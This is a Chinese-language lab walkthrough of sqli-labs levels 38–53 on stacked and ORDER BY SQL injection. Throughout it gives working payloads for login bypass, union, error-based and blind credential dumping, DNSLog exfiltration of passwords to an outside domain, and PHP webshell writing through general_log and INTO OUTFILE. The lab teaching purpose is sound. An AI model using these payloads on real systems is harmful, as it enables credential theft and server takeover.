SQLI labs 靶场笔记之堆叠注入 38-53 关

堆叠注入 38-53 关

原理介绍

MySQL 的命令行中,每一条语句以;结尾,这代表语句的结束,如果在注入过程中在;后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。下面就是简单的示例:

mysql> select * from users where id = 1;select version();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

+-----------+
| version() |
+-----------+
| 8.0.12    |
+-----------+
1 row in set (0.00 sec)

与 union select 联合查询相比,堆叠查询更加灵活,可以执行任意的 SQL 语句。

局限性

  1. 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
  2. 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略

这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等

各个数据库堆叠查询实例

MySQL

select * from users where id=1;select version();

SQL Server

select 1,2,3;select * from test;

Postgresql

select * from user_test;select 1,2,3;

注入天书里面说 Oracle 不支持堆叠查询。

Less-38(堆叠注入)

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注、堆叠注入id='$id'

又到了源码简单分析的时间了,来看看堆叠注入的代码是如何实现的:

# id 参数直接带入到 SQL 语句中
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
    输出查询信息
else:
    print_r(mysqli_error($con1));

发现和之前的关卡区别不大,唯一的区别就是查询 SQL 语句由原来的:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

变成了现在的:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))

mysqli_multi_query 函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。

既然知道原理了 那么这一关就详细演示一下这个堆叠注入如何灵活使用:

添加字段值

?id=1';insert into users(username,password) values ('hello','world');

数据库中查看是否添加成功:

mysql> select * from users where username='hello';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 15 | hello    | world    |
+----+----------+----------+
1 row in set (0.00 sec)

但是这个貌似并没有什么作用,但是注入天书里面也没有说其他的姿势,实际上看到这里的人应该明白后面是可以执行任意 SQL 语句的,那么这个怎么进行漏洞利用的话 就完全看你的想象力了,接下来演示我认为比较实用的姿势。

DNSLog 数据外带

需要条件:

  1. MySQL 开启 load_file()
  2. DNSLog 平台 (dnslogCEYE
  3. Windows 平台

load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径。

其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

\\192.168.31.53\test\

CONCAT() 函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,目的就是利用 UNC 路径。

因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。

下面使用 Windows 下的 sqli-labs 测试环境:

?id=1';select load_file(concat('\\\\',(select hex(concat_ws(':',username,password)) from users limit 0,1),'.952nzx.dnslog.cn\\abc'))--+

Hex 编码的目的就是减少干扰,因为域名是有一定的规范,有些特殊符号是不能带入的有。

Less-38_DNSLog 数据外带

手动 Hex 解码即可

开启日志 Getshell

需要条件:

  1. Web 的物理路径
  2. MySQL 可以读写 Web 目录
  3. Windows 成功率 高于 Linux

首先查看当前的日志的相关配置:

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------------------------------------------+
| Variable_name    | Value                                                           |
+------------------+-----------------------------------------------------------------+
| general_log      | OFF                                                             |
| general_log_file | D:\phpstudy_pro\Extensions\MySQL8.0.12\data\DESKTOP-7FQSJGU.log |
+------------------+-----------------------------------------------------------------+
2 rows in set, 1 warning (0.00 sec)

general_log环境默认是没有开启的,这里尝试注入的时候手动开启:

?id=1';set global general_log = "ON";set global general_log_file='D:/phpstudy_pro/WWW/sqli.pl/Less-38/shell.php';--+

然后 MySQL 再查看日志配置是否被修改了:

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------------------------+
| Variable_name    | Value                                         |
+------------------+-----------------------------------------------+
| general_log      | ON                                            |
| general_log_file | D:/phpstudy_pro/WWW/sqli.pl/Less-38/shell.php |
+------------------+-----------------------------------------------+
2 rows in set, 1 warning (0.00 sec)

这个尝试 getshell:

?id=1';select "<?php phpinfo();?>";

日志里面就会记录<?php phpinfo();?>,浏览器访问查看:

Less-38_开启日志 Getshell

shell.php日志文件内容:

D:\phpstudy_pro\COM\..\Extensions\MySQL8.0.12\\bin\mysqld.exe, Version: 8.0.12 (MySQL Community Server - GPL). started with:
TCP Port: 3306, Named Pipe: MySQL
Time                 Id Command    Argument
2020-12-08T02:16:42.153350Z	   10 Query	-- ' LIMIT 0,1
2020-12-08T02:16:44.267004Z	   11 Connect	root@localhost on security using TCP/IP
2020-12-08T02:16:44.267240Z	   11 Init DB	security
2020-12-08T02:16:44.267398Z	   11 Query	SELECT * FROM users WHERE id='1';
2020-12-08T02:16:44.267695Z	   11 Query	select "<?php phpinfo();?>";

Less-39

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注、堆叠注入id=$id

和 Less-38 相比没有啥区别,只是拼接方式不一样。

?id=1;set global general_log = "ON";set global general_log_file='D:/phpstudy_pro/WWW/sqli.pl/Less-39/shell.php';--+

?id=1';select "<?php phpinfo();?>";

Less-40

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注、堆叠注入id=('$id')

和 Less-38 相比只是拼接方式不一样。

?id=1');set global general_log = "ON";set global general_log_file='D:/phpstudy_pro/WWW/sqli.pl/Less-40/shell.php';--+

?id=1');select "<?php phpinfo();?>";

但是看了这一关源码下面还有其他文件,类似于 Less-24 的二次注入,看了下源码貌似和 Less-24 是一样的,可能是作者的疏忽吧,忘记删掉这些不相干的文件了。

Less-41

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注、堆叠注入id=$id

和 Less-39 类似,因为少了报错输出,所以这里不能报错注入,其他注入方式一样,这里不再赘述。

Less-42

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注、堆叠注入username='$username'
  • index.php

没有啥核心代码,PHP 和 HTML 混写,只要写了登录的表单,并提供了忘记密码和创建用户的链接,相比于 Less-24 的二次注入,这两个链接都不能直接访问,无法直接创建用户。

  • forgot_password.php

if you forgot your password,go to hack it

  • acc-create.php

if you need to create account,then hack your way in

  • failed.php

Bug off you silly dump hacker

  • login.php
# username 被过滤 ' " \ password 没有被
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

# 堆叠查询
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
mysqli_multi_query($con1, $sql))

if 查询成功:
    return $row[1];
else:
    print_r(mysqli_error($con1));

if 登录成功:
    setcookie("Auth", 1, time()+3600);
    跳转到 logged-in.php
  • logged-in.php

登录成功,提供修改密码的表单

<form name="mylogin" method="POST" action="pass_change.php">
  • pass_change.php
if 没有登录:
    重定向到 index.php

if 提交了修改密码表单:
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if $pass==$re_pass:
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

这一题漏洞比较多,首先 login.php 中 password 没有过滤,可以进行常规的报错注入以及盲注,同时本身又支持堆叠查询,所以也支持堆叠注入。 pass_change.php update 语句存在漏洞,典型的二次注入,类似于 Less-24。

经典的万能密码绕过 1' or 1#:

POST /Less-42/login.php HTTP/1.1
...

login_user=admin&login_password=1' or 1#&mysubmit=Login

因为登录成功后返回:

return $row[1];

所以登录了 id 为 1 的 Dumb 用户:

尝试联合查询:

POST /Less-42/login.php HTTP/1.1
...

login_user=admin&login_password=13141' union select 1,(select group_concat(username,":",password,0x3c62723e) from users),3#&mysubmit=Login

Less-42

报错注入

login_user=admin&login_password=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users limit 0,1),0x7e),1)#&mysubmit=Login

Less-42

同理这里也可以进行盲注和堆叠查注入,这里不再赘述。

Less-43

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注、堆叠注入username=('$username')

和 Less-42 的利用方式一致,这里只是拼接方式不一样而已,不再赘述。

Less-44

请求方式注入类型拼接方式
POST联合、布尔盲注、延时盲注、堆叠注入username='$username'

和 Less-43 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。

Less-45

请求方式注入类型拼接方式
POST联合、布尔盲注、延时盲注、堆叠注入username=('$username')

与 Less-43 闭合方式一致,只是这里少了报错注入的利用方法。

Less-46(order by后的注入)

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注ORDER BY $id
# GET 方式获取 sort 参数
$id=$_GET['sort'];

# 直接将 id 带入 SQL 中
$sql = "SELECT * FROM users ORDER BY $id";

if 查询成功:
    输出查询信息
else:
    print_r(mysql_error());

order by 不同于 where 后的注入点,不能使用 union 等进行注入。注入方式十分灵活,下面在本关来详细讲解一下。

验证方式

  • 升序和降序验证
# 升序排序
?sort=1 asc

# 降序排序
?sort=1 dasc
  • rand() 验证

rand(ture) 和 rand(false) 的结果是不一样的

?sort=rand(true)
?sort=rand(false)

所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试 payload

此外 rand() 结果是一直都是随机的

?sort=rand()
?sort=1 and rand()
  • 延时验证
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)

这种方式均可以延时,延时的时间为 (行数*1) 秒

报错注入

爆数据库

?sort=1 and updatexml(1,concat('~',(select group_concat(schema_name)from information_schema.schemata)),0)

Less-46可见一次把数据库名爆不完,所以可以采用limit语句控制一次爆库名的个数

?sort=1 and updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 4,1)),0)
Less-46

爆表

?sort=1 and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security')),0)
Less-46

users表的表列

?sort=1 and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),0)
Less-46

users表的数据

?sort=1 and updatexml(1,concat('~',(select concat_ws('~',id,username,password)from security.users limit 0,1)),0)
Less-46

布尔盲注

数据库第 1 位为:s

?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')
?sort=rand(left(database(),2)>'sd')
?sort=rand(left(database(),2)>'se')

延时盲注

数据库第一个字母的 ascii 码为 115,即s

?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

into outfile

将查询结果导入到文件中

?sort=1 into outfile "D:/phpstudy_pro/WWW/sqli.pl/Less-46/less46.txt"

如果导入不成功的话,很可能是因为 Web 目前 MySQL 没有读写权限造成的。

利用导出文件 getshell

注入天书里面提供了 lines terminated by 姿势用于 order by 的情况来 getsgell:

?sort=1 into outfile "D:/phpstudy_pro/WWW/sqli.pl/Less-46/shell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六进制编码。

来查看下写入的文件内容是啥样子的:

1	Dumb	Dumb<?php phpinfo();?>2	Angelina	I-kill-you<?php phpinfo();?>3	Dummy	p@ssword<?php phpinfo();?>4	secure	crappy<?php phpinfo();?>5	stupid	stupidity<?php phpinfo();?>6	superman	genious<?php phpinfo();?>7	batman	mob!le<?php phpinfo();?>8	admin	admin<?php phpinfo();?>9	admin1	admin1<?php phpinfo();?>10	admin2	admin2<?php phpinfo();?>11	admin3	admin3<?php phpinfo();?>12	dhakkan	dumbo<?php phpinfo();?>14	admin4	admin4<?php phpinfo();?>15	hello	world<?php phpinfo();?>

浏览器访问测试看看:

Less-46

Less-47

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注ORDER BY '$id'

和 Less-46 相比,利用方式不变,只是拼接方式方式变化,注入的时候只要正常闭合即可。

?sort=1' and updatexml(1,concat('~',(select concat_ws('~',id,username,password)from security.users limit 0,1)),0) --+

Less-48

请求方式注入类型拼接方式
GET布尔盲注、延时盲注ORDER BY $id

和 Less-46 相比少了报错注入,布尔、延时盲注依然可以正常使用,这里不再过多演示了。

Less-49

请求方式注入类型拼接方式
GET布尔盲注、延时盲注ORDER BY '$id'

和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,这里不再过多演示了。

Less-50

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注、堆叠注入ORDER BY $id

和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入,在注入方面会更加灵活。堆叠注入的话这里不再演示,详细细节可以参考 Less-38 的堆叠注入的姿势。

Less-51

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注、堆叠注入ORDER BY '$id'

和 Less-50 相比只是拼接方式发生了变化,实际注入的时候只需做一下对应的闭合即可。

Less-52

请求方式注入类型拼接方式
GET布尔盲注、延时盲注、堆叠注入ORDER BY $id

和 Less-50 是一样的,只是少了报错注入的利用方式。

Less-53

请求方式注入类型拼接方式
GET布尔盲注、延时盲注、堆叠注入ORDER BY '$id'

和 Less-51 是一样的,只是少了报错注入的利用方式。